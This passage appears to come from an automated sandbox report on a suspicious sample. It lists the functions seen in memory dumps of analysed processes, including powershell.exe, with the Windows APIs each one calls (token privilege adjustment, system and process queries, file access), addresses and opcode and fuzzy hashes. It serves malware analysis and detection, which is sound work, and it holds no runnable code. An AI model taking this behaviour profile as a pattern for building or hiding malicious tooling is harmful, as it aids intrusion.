Opcode ID: ab01123028441c990769a27b0bbdb9be7417b9a9181d2e47cdb639bc1ef23c87
Instruction ID: 5d2204c1c705426e82d3ba3ebd45d94555cfc208e1dc34a303870d1cde33689f
Opcode Fuzzy Hash: ab01123028441c990769a27b0bbdb9be7417b9a9181d2e47cdb639bc1ef23c87
Instruction Fuzzy Hash: 24F0A935504740DFEB209F0AD889769FFA0EF05B21F18C09ADD094B352D3B5E908CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01C7AA71

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 0b3608db76dd6ab57b72e1aaeec1a6d194265037745ed4fc86bb6056fffe7c18
Instruction ID: 496a395cc9e68fbe55a48cf8a1295f725bccc2f823bf0eb84b568a1dc0894dc8
Opcode Fuzzy Hash: 0b3608db76dd6ab57b72e1aaeec1a6d194265037745ed4fc86bb6056fffe7c18
Instruction Fuzzy Hash: ECF0A931504740CFEB11EF0AD98A765FFA0EB05631F58C0AADD094B252D2B9E504CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01C7A9C8

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 6d7f71c81e49eb42c926aebceb24fa7e1ab13b2d8ecb52426f8baa5662d055b1
Instruction ID: ec918eab0c9e19a51e88c57270f564cee439a21d33efe559c28f47c688e956a9
Opcode Fuzzy Hash: 6d7f71c81e49eb42c926aebceb24fa7e1ab13b2d8ecb52426f8baa5662d055b1
Instruction Fuzzy Hash: 7711A3715093809FD712CF25DC45B96FFA4DF02220F0980EBED45CB263D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01C7A9C8

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 870faed003d68ce6ec4da296dae5a8f06017852de1bebab907d2bb823aa37201
Instruction ID: 8a9939384fe7b476725a56009fda83a235b07e61dd74bfb5b163e1d501244ed9
Opcode Fuzzy Hash: 870faed003d68ce6ec4da296dae5a8f06017852de1bebab907d2bb823aa37201
Instruction Fuzzy Hash: 8101F275604780DFEB10DF2ADC867AAFB94DF00220F18C0ABDC098B242D2B5E904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028907F7, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2138608972.0000000002890000.00000040.00000040.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49f6a4b039d96d7541d754921b77785993cfd2d3bc51d5570645214c31081625
Instruction ID: a0b8332e3bf4d599bd86defff28e2916847a552da599f264a99b915aa8bc406a
Opcode Fuzzy Hash: 49f6a4b039d96d7541d754921b77785993cfd2d3bc51d5570645214c31081625
Instruction Fuzzy Hash: AD01D6B65097809FC7018B15EC41853FFE8DF4663071984ABEC888B212C126B949CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02A50860, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2138941428.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac65ce2c87f583e035af535b48ec504344be6bb24ab9f620900645a3fae35071
Instruction ID: ef16daaad71e26d46b0bc618322adee32a8685e9377b8c0ca1b089d144e350df
Opcode Fuzzy Hash: ac65ce2c87f583e035af535b48ec504344be6bb24ab9f620900645a3fae35071
Instruction Fuzzy Hash: 5DF06D2220D7D14FC30397B458B54A5BFB65E8701030E81DBC481CF2A3CA49AC9AD3A3

Uniqueness

Uniqueness Score: -1.00%

Function 0289081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2138608972.0000000002890000.00000040.00000040.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f731fc619121e5c372b0c1c0d7b3ec12f5481de690f3f1e4ad6854168db52dc
Instruction ID: c1f8a533274dfdb646aa158ddddccb29814a64c6d02f8aaa549664aac77c237d
Opcode Fuzzy Hash: 8f731fc619121e5c372b0c1c0d7b3ec12f5481de690f3f1e4ad6854168db52dc
Instruction Fuzzy Hash: 1DE092766047008BDB50CF0AEC41452F794EB84A30B58C07FDC0D8B710D136B504CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 01C723F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2134112472.0000000001C72000.00000040.00000001.sdmp, Offset: 01C72000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 221e7810a43fc04ffd44b0e38bafa35e904880cff645dce3748f290f981cfea3
Instruction ID: ea480383dee897a8770d2361504bc266e941534962f65c478944e5e29cac0f0f
Opcode Fuzzy Hash: 221e7810a43fc04ffd44b0e38bafa35e904880cff645dce3748f290f981cfea3
Instruction Fuzzy Hash: 07D05E79204A81CFE7168A1CC1A4B953BA4AF55B44F4644F9E840CB6A3C7A8E681E200

Uniqueness

Uniqueness Score: -1.00%

Function 01C723BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2134112472.0000000001C72000.00000040.00000001.sdmp, Offset: 01C72000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b951987c9b7174c1a8f0db2e73b843d9008c60d15d28b101f91560d18b43fc3
Instruction ID: ac41fe54fc0fc335fd4757d00a6717a399db2c719b96019fa98530d33b6d2474
Opcode Fuzzy Hash: 7b951987c9b7174c1a8f0db2e73b843d9008c60d15d28b101f91560d18b43fc3
Instruction Fuzzy Hash: 72D05E343006818FEB15CA1CC194F5977E8AF40B00F0644ECBC008B266C3A4E980C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02891C60, Relevance: 6.3, Strings: 2, Instructions: 3754COMMON

Download Yara Rule

Strings

xpq, xrefs: 028930A0
rpq, xrefs: 028924D0

Memory Dump Source

Source File: 0000000D.00000002.2138608972.0000000002890000.00000040.00000040.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID:
String ID: rpq$xpq
API String ID: 0-1417995039
Opcode ID: 34e41f0a1d1a41afe465d3c90a25d143f36e7e472a704a58798058123319e068
Instruction ID: ac1e8b3ba6702d7c78858758aaf34fd97928ebe4574fe6a14ad7b5aef9801ad3
Opcode Fuzzy Hash: 34e41f0a1d1a41afe465d3c90a25d143f36e7e472a704a58798058123319e068
Instruction Fuzzy Hash: BAB28BA984E3C2AFDB135BB458692903FB09E1B26434F04DBC8D0DF5BBE558485AC736

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exe PID: 2236 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 0254ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0254AD37

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 5544a5b548677af23faa720c27c523a3684b8797c1a4fc92b37a36bfd998899c
Instruction ID: f22b4e4ca97a84844bac89c8ca4f2979b16b6b7d5f3066fc1696c50e3ec55dfe
Opcode Fuzzy Hash: 5544a5b548677af23faa720c27c523a3684b8797c1a4fc92b37a36bfd998899c
Instruction Fuzzy Hash: A521BF765097809FEB228F25DC44B92FFB4EF06214F08849AE9848B563D7319908DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0254ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 0254AD37

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: cff311c43a99407ec23501a6fa823b17c4a5f8cc4a588c6631cb2dc5ce2ed1c4
Instruction ID: 7c3efb2781fe98c76413b6a7794e806f018d566f4833748a1cc10413bd7c234a
Opcode Fuzzy Hash: cff311c43a99407ec23501a6fa823b17c4a5f8cc4a588c6631cb2dc5ce2ed1c4
Instruction Fuzzy Hash: C011AC76500700DFEB61CF55D884BA6FBE4FF04225F08C8AAED498B622DB31E414CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0254B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0254B329

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: c3fc9b18820f576362858b405b6e9d380c77c662c76e4f9d0f4a75c393c16d99
Instruction ID: a7ca329d5408254e0b98d97b7cf2db3337e0b1b278e37b15f68949a27350d8c0
Opcode Fuzzy Hash: c3fc9b18820f576362858b405b6e9d380c77c662c76e4f9d0f4a75c393c16d99
Instruction Fuzzy Hash: 3C11A071508380AFDB228F15DC45F52FFB4EF46224F09849EED844B663C275A918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0254B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0254B329

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: e2a2359af8f80f5ef5e4db0ffaadecc0dde3e9d08643e378350ffa671ec8b396
Instruction ID: e0ae0e4cda48d41e8aa833d656f6bd68c914b16a440fa8895c7d69a6fac205da
Opcode Fuzzy Hash: e2a2359af8f80f5ef5e4db0ffaadecc0dde3e9d08643e378350ffa671ec8b396
Instruction Fuzzy Hash: 7D01AD35810740DFEB208F0AD885B25FFA0FF04729F08C59ADD490B616C771E518DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02800118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028001D0

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: f9f0111f8c0204a508083c59e5b06c5721007e23352a28e3591fc4aa155c9128
Instruction ID: d3e584635e2fb036308690ed79c6ae12e75e0905598d5c87d29024ab756ce449
Opcode Fuzzy Hash: f9f0111f8c0204a508083c59e5b06c5721007e23352a28e3591fc4aa155c9128
Instruction Fuzzy Hash: AE31386650E3C08FE7138B759C65791BFB4AF47210B0E84DBD884CF1A3D6259849DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0280067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0280072D

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: baa79f3d8e8f7b305b540969f1ea6b46354e169810fb4c8aec6f18829efe1ec3
Instruction ID: 38a05fb84fbeb7223eba2436d183f007da92f028b18f4385bc8b01d5e603714e
Opcode Fuzzy Hash: baa79f3d8e8f7b305b540969f1ea6b46354e169810fb4c8aec6f18829efe1ec3
Instruction Fuzzy Hash: E4315075509380AFE722CF65CC85F56BFF8EF05210F09849EE989DB293D365A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02800D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02800DD6

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 8c10f50a91ee3f846f4164cfafa0ce3bc1202f7bcee59ecf5021014136dd8733
Instruction ID: 4f6dc4eb6f2886e53f3ea7f65cf34184ec40f080e4d1a0bb4ee358c3d3459a68
Opcode Fuzzy Hash: 8c10f50a91ee3f846f4164cfafa0ce3bc1202f7bcee59ecf5021014136dd8733
Instruction Fuzzy Hash: DF31C875509380AFE712CB25DC85F96BFE8DF06214F0884AAE948DF293D375A905C772

Uniqueness

Uniqueness Score: -1.00%

Function 0254BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 0254BDBC

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 9ada5899ccb0a91e4f662dd559282716dfdd9967ce3b4d2e2012ea8dbf781396
Instruction ID: 41592643da957642408336ba13ce3629da5cd003e61f018e9a7b2b93796dd087
Opcode Fuzzy Hash: 9ada5899ccb0a91e4f662dd559282716dfdd9967ce3b4d2e2012ea8dbf781396
Instruction Fuzzy Hash: 0231B172409380AFE722CB60CC45F96FFB8EF06214F08859BF984DB192D225A908C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0254AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 0254AFBE

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: f73fabc93bb0b0fb00c43b002d422b2f7fa5e061f45ceb7181a132b98e1015a9
Instruction ID: 35b780f571f6648634f0480a4c81d46ce4ae2e48d6e2547e17ce7224af5d13e2
Opcode Fuzzy Hash: f73fabc93bb0b0fb00c43b002d422b2f7fa5e061f45ceb7181a132b98e1015a9
Instruction Fuzzy Hash: A321E6B2509380AFE712CF60DC45B96BFB8EF06324F0885DBE984DB193D625A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 02800FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0280109E

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1bdbabf438fe239d5fb35d3837e5a7431ded5a94cd12bd34b994143bc43b4e13
Instruction ID: 305a7af413f4c1948e1619a8d1f529fc72b5c83ec78994ea484c5ad56621f86a
Opcode Fuzzy Hash: 1bdbabf438fe239d5fb35d3837e5a7431ded5a94cd12bd34b994143bc43b4e13
Instruction Fuzzy Hash: 54316F7550E3C0AFD3138B358C55B56BFB4AF43610F1A81DBD8848F2A3D629A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0254B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 0254B0AE

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 22bbe43167382158f930d00de54a6dac01dc63cf06e8b16e57b65d1f6ac41254
Instruction ID: 4c2db0f9cbfae16ca842767fa2556ea32f5e544a98e4b1f995b8fe055e0d34c8
Opcode Fuzzy Hash: 22bbe43167382158f930d00de54a6dac01dc63cf06e8b16e57b65d1f6ac41254
Instruction Fuzzy Hash: 98219171509380AFE722CB15CC45FA6FFA8EF46224F08849AE949DB152D664E908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0254A1A8, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0254A23E

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: e1d37610fdb8f9fb86c5f7fe4be5faf01bbfbc8fdca42aa9c00089a5cb836911
Instruction ID: 49a98f7ff6b4b1ab9471893c40ae002fdd3243a2be93b3984d41762450c07634
Opcode Fuzzy Hash: e1d37610fdb8f9fb86c5f7fe4be5faf01bbfbc8fdca42aa9c00089a5cb836911
Instruction Fuzzy Hash: 2421C97144D3C05FD312CB358C55B65BFB4EF47610F1981DBD8848F293D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02800784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 02800819

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b09c1b12f3d2c30d5ce09cb8d72c34fe3e4bcd0b771268a886b7a57fa4e3e6f9
Instruction ID: 78d12a72224150349192aa1186a665529bb8366a749ba047bc9db06c7003a8a8
Opcode Fuzzy Hash: b09c1b12f3d2c30d5ce09cb8d72c34fe3e4bcd0b771268a886b7a57fa4e3e6f9
Instruction Fuzzy Hash: E821DA76408780AFE712CB159C85FA3BFA8EF46720F1981DBF9849F193D224A905C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 02800464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02800502

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 0d06bd7beb34c2300568c7dfa22467a49190f976c1d66aafb7827ad40dd24c63
Instruction ID: e44bf6522af7e4cc75fe24531ad14d061013199033dba4a42f1d8a83139656a6
Opcode Fuzzy Hash: 0d06bd7beb34c2300568c7dfa22467a49190f976c1d66aafb7827ad40dd24c63
Instruction Fuzzy Hash: F5216D7540E3C0AFD3128B358C55B66BFB4EF87610F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028006AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0280072D

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c23d5edbf81eafd3160a46795b0b8e91966a3b4fdd1d725a247e6c4669c18db1
Instruction ID: e638e86989e030e69a304c56fc1ef4d61bfeedf4d4c5a33c7e3072640aeb051e
Opcode Fuzzy Hash: c23d5edbf81eafd3160a46795b0b8e91966a3b4fdd1d725a247e6c4669c18db1
Instruction Fuzzy Hash: 6F219C79500704EFEB21DF65CC85B66FBE8EF08210F14846AE949DA292D336F804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02800854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 028008E5

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 2890fed0f8ccc872932939bc8b0b48c4eaf866ca4a2ac47ce4489cb64a3b048b
Instruction ID: b11907b4240271e48fb17f428d6f3d3ed628417b4ddcdc42216db3c625218e56
Opcode Fuzzy Hash: 2890fed0f8ccc872932939bc8b0b48c4eaf866ca4a2ac47ce4489cb64a3b048b
Instruction Fuzzy Hash: B621B275409380AFE722CF10DC45F56FFB8EF06310F09849BE9449B193C225A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0254A8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0254A94A

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 26dc7dfdc29715e0ddd21c1631fb366c5c461534cc6961a247f4c53b78454e35
Instruction ID: addd7e336fb6e3a1f03123411f96ee2d6a6d0b53774361d089f8869eecf5fc48
Opcode Fuzzy Hash: 26dc7dfdc29715e0ddd21c1631fb366c5c461534cc6961a247f4c53b78454e35
Instruction Fuzzy Hash: 4F21A77540D780AFD3138B25DC51B62BFB8EF87710F1981DBE8849B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02800D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02800DD6

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 866ac22b276c2bca80ca1e82e3a9f09045414a94d6b578f1191305b80f7aac2c
Instruction ID: 264af013a4f94ef7027caf71d8e05624ad9c1c555eb99861c89964d32a6dee8a
Opcode Fuzzy Hash: 866ac22b276c2bca80ca1e82e3a9f09045414a94d6b578f1191305b80f7aac2c
Instruction Fuzzy Hash: 46219D79600244AFE760DF29DC85BA6FBD8EF04254F14856AEC48DB282D775F804CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0254BD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 0254BDBC

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 8094105ac49e3589f305f534df7f6132508422831813e85378911c34d345dbf1
Instruction ID: 0f2f1760925b63c3f3682b54310153cc01941a60f668b019dfeb9a4c79c57d1d
Opcode Fuzzy Hash: 8094105ac49e3589f305f534df7f6132508422831813e85378911c34d345dbf1
Instruction Fuzzy Hash: D8119D72500304EFEB21CF65DC85FAAFBACEF44324F14896AF9459A241DA71E904CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 0254B04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 0254B0AE

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: cd9ab45a8d8a425fdcc98699ad1598a82d0886a29c35abcb3649453b1c04d644
Instruction ID: 21de7461ce2109d747b76d2eb30d8ebcf736e161d4f7cf49c800b3b680c3ef43
Opcode Fuzzy Hash: cd9ab45a8d8a425fdcc98699ad1598a82d0886a29c35abcb3649453b1c04d644
Instruction Fuzzy Hash: 0611AF71600300EFEB20CF15DC85FAAFBA8FF04225F14846AE909CB241DB70E904CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 02800F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02800FB0

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 493c8734b52710e20081409b090ee0f70d2f2a765f364b7977846b823abc7d1f
Instruction ID: a3280c75608274b8397ee68ef5ef6c14606b1ed32a8c63072907a319b9bcf25b
Opcode Fuzzy Hash: 493c8734b52710e20081409b090ee0f70d2f2a765f364b7977846b823abc7d1f
Instruction Fuzzy Hash: 34215E7550D3C09FDB128B25DC95B92BFB4AF03214F0D84DAE888CF693D2659408DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0280137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028013F0

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 3a21d03c068c2f18652f85ccd987895d0f9d69a4088d9437018bfc587118f136
Instruction ID: c5acc3a4004450daca7d2edd9d7da52bd501e4a72ad8770d23aa0ed8d6dfcbb7
Opcode Fuzzy Hash: 3a21d03c068c2f18652f85ccd987895d0f9d69a4088d9437018bfc587118f136
Instruction Fuzzy Hash: 1F2180765087809FDB218F25DC85B96BFB4EF06220F09849AED898B562D235A448DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0254BABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0254BB2F

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: d9fe38bc23974278082f8eb3fd010ddf4c05c6cc3d42c0877ca98b373452804f
Instruction ID: df8ca746bef1d98b611db50dadcf9734f53d1ae553f8af0fb49fc674fdc3d435
Opcode Fuzzy Hash: d9fe38bc23974278082f8eb3fd010ddf4c05c6cc3d42c0877ca98b373452804f
Instruction Fuzzy Hash: 8121A4755093C09FDB128B25DC55B92BFA4EF07214F0984DBDD858F263D2249908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0254AAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 0254AB1A

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 3a192c4eaf5bbf8363823328345be2d6e34efe85ba1ef9bf1304332ed82c9921
Instruction ID: 90ea30bfa28b8cdc61766e21a982bebf8f7546287761a18ada6a7915fd5dbe9e
Opcode Fuzzy Hash: 3a192c4eaf5bbf8363823328345be2d6e34efe85ba1ef9bf1304332ed82c9921
Instruction Fuzzy Hash: E72172716093809FDB22CF25DC54B52FFE8EF46215F0884AAED49DB252D765E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028010D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02801148

Memory Dump Source

Source File: 0000000F.00000002.2138773846.0000000002800000.00000040.00000001.sdmp, Offset: 02800000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 2cc92de2ebbff3b7a174c1b592f9faafb81fa025c34608aff650f97aea100030
Instruction ID: 07d08dfc3d53a857ecb81f13bb43fe0912fe4999abdc6a90e53ce8acbe80fc09
Opcode Fuzzy Hash: 2cc92de2ebbff3b7a174c1b592f9faafb81fa025c34608aff650f97aea100030
Instruction Fuzzy Hash: 69216D6550D3C09FD7138B259C54A62BFB4EF57720F0980DBD8888F2A3D2695808D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0254AF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FE9F6589,00000000,00000000,00000000,00000000), ref: 0254AFBE

Memory Dump Source

Source File: 0000000F.00000002.2138012762.000000000254A000.00000040.00000001.sdmp, Offset: 0254A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 6b9940e66ebc79660efdeef661939d4e3f3c04cf324d797e656c663dc1d7228e
